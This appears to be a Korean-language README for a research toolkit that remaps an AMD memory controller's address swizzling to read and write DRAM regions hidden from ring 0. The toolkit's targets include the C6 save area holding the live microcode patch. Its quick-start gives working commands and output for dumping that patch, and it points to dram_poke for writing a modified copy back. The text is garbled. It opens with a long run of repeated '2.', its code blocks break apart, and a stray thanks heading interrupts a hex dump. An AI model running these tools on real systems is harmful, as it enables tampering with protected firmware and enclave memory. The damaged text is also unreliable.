2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.```text

core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor

BSP 비트가 설정된 코어 하나, 설정되지 않은 코어 세 개 — 부트 프로세서와 세 개의 AP가 유휴 상태 중간에 잡혀 레지스터 상태가 그대로 드러나 있다.

주변을 더 뒤져볼수록 더 많은 CPU 레지스터를 발견하게 된다:

| offset | x86 상태 | core-0 값 |
|---|---|---|
| `+0x8b0` | GS / per-cpu base | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (페이지 테이블 루트) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | 가변 MTRR (base/mask) | `0x6f000000 / …0800` |
| `+0xb10` | 저장된 RIP | `0xffffffff8f3a0029` |

물론 이 레지스터들은 어차피 ring-0에서 모두 접근 가능하다. *재미있는* 부분은 그곳에 놓여 있는 *다른* 모든 CPU 상태에 있다 — ring-0가 접근할 수 없는 내부 CPU 레지스터를 찔러보는 것이다.

---

## 빠른 시작: CPU 마이크로코드 잠금 해제하기

> *무슨 문제가 생길 수 있겠는가?*

코어가 C6로 진입하면 마이크로코드 패치 RAM — 휘발성 SRAM — 이 코어의 나머지 부분과 함께 꺼진다. 그래서 C6 stash는 로드된 패치를 DRAM에 보관하고 깨어날 때 다시 심는다. 그 사본은 각 save area의 `+0x1800`에 위치하며, alias는 다른 바이트와 마찬가지로 그것에 도달한다.

CPU가 fenced DRAM에 숨겨둔 마이크로코드 사본을 가져와라:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

알려진 패치와 대조하세요:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

좋은 신호입니다:```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

ucode 트라이어드를 추출합니다:```sh od -Ax -tx1 -w20 ucode_ram.bin

## 감사합니다

이 프로젝트에 영감을 주고 도움을 준 모든 분들께 감사드립니다.```text
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
   [...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0

그리고 거기에 있습니다, 상단에는 뚜렷한 uops가 있고, 아래에는 NOP 패딩이 반복됩니다.

거기서부터, dram_dump에는 형제 도구인 dram_poke가 있습니다. 패치를 읽은 것과 같은 별칭이 그것을 쓸 수 있습니다 — 그리고 이 사본은 코어가 유휴 상태에서 나올 때 다시 로드하는 것입니다.

다음에 무엇을 할지는 당신의 상상에 달려 있습니다.


빌드```

make # builds kernel/spaghettify.ko and all userspace tools make clean

---

## 사용법

루트로 실행합니다. 자세한 내용은 [USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)를 참조하세요.

### `dram_read`

보호된 메모리 주소에서의 단순 읽기.

`--do-swizzle` / `--do-bankswap` 플립을 DRAM 컨트롤러에 밀어 넣어
스파게티화된 메모리 뷰로 진입하고, 물리 주소 `<pa>`에서
하나의 dword를 읽고, DCT 비트를 복원한 뒤, 값을 반환합니다.```
dram_read
    --pa <pa>
    --do-swizzle <0|1>
    --do-bankswap <0|1>

dram_poke

보호된 메모리 범위에 기록합니다.

--mapunspaghettify.py --save-map에서 해결된 스파게티화이며, 이는 다시 gather_aliases.py가 수집한 별칭 쌍을 입력으로 받습니다. 보호된 범위의 모든 dword에 대한 별칭은 시작 시 한 번 계산되는 GF(2) 의사역행렬을 통해 맵에서 복원됩니다. 동일한 하드웨어에서 수집된 (at_swizzle, at_bankswap)당 하나씩 여러 맵을 전달하여 커버리지를 넓히십시오. 각 스파게티화는 서로 다른 랭크 부족 구멍 집합을 남기며, 주어진 dword에 도달하는 첫 번째 맵이 우선합니다.``` dram_poke [--dangerously-skip-calibration] [--calibrate-pa ] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]... < in.bin

### `dram_dump`

보호된 메모리 범위에서 읽습니다.

`dram_poke`와 동일한 `--map` 구조를 사용합니다. 각 맵은 `unspaghettify.py --save-map`에서 해결된 스파게티화이며, 모든 dword에 대한 별칭은 일회성 GF(2) 의사 역행렬을 통해 복원되고, 서로 다른 `(at_swizzle, at_bankswap)`에서 수집된 여러 맵은 한 맵의 랭크 부족으로 인한 구멍을 다른 맵이 채워 커버리지를 넓힙니다.```
dram_dump
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--dry-run]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...

전체 툴체인 — dram_state, dram_carveouts, dram_alias; gather_aliases.py / unspaghettify.py 분석 파이프라인; 실제 엔드투엔드 예제; 그리고 내부 구조 — 는 USAGE.md 에 문서화되어 있습니다.


공유 파이프라인

skitter-creek-bath-salts는 MCT/DCT 변환의 마지막 단계가 그 위에 구축된 모든 것의 보안을 어떻게 무너뜨릴 수 있는지 탐구합니다. 여기서 시연된 익스플로잇은 AMD Family 16h의 구성 레지스터 하나로, 데이터시트가 시작하기에 충분한 정보를 제공했기 때문에 선택되었습니다. 그것이 깨뜨린 파이프라인은 어디에나 있습니다.

채널 인터리브, 랭크 인터리브, 뱅크 인터리브, 스위즐, 칩 셀렉트 노멀라이즈 — 모든 현대 메모리 컨트롤러는 이 모든 것의 어떤 버전이든 수행합니다. AMD. Intel. ARM. RISC-V. 모바일. 서버. 임베디드. 동일한 아키텍처적 형태가 모든 것의 밑바탕에 깔려 있습니다.

그 모든 것 위에 SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, PSP, ME, T-SEG, SMRAM, C6 stash가 자리 잡고 있습니다. DRAM에 있는 모든 것 — 심지어 ring-0나 CPU 자체에도 보이지 않게 벽으로 막힌 것들까지도 — 은 우리가 이제 막 탐구하기 시작한 *p 파이프라인의 마지막 계층 위에 놓여 있습니다.


참고 문헌

  • Black Hat 2026 — Spaghettifying DRAM (Coming Soon)

저자

skitter-creek-bath-salts는 Christopher Domas (@xoreaxeaxeax)의 연구 작업입니다.


Experiment


카테고리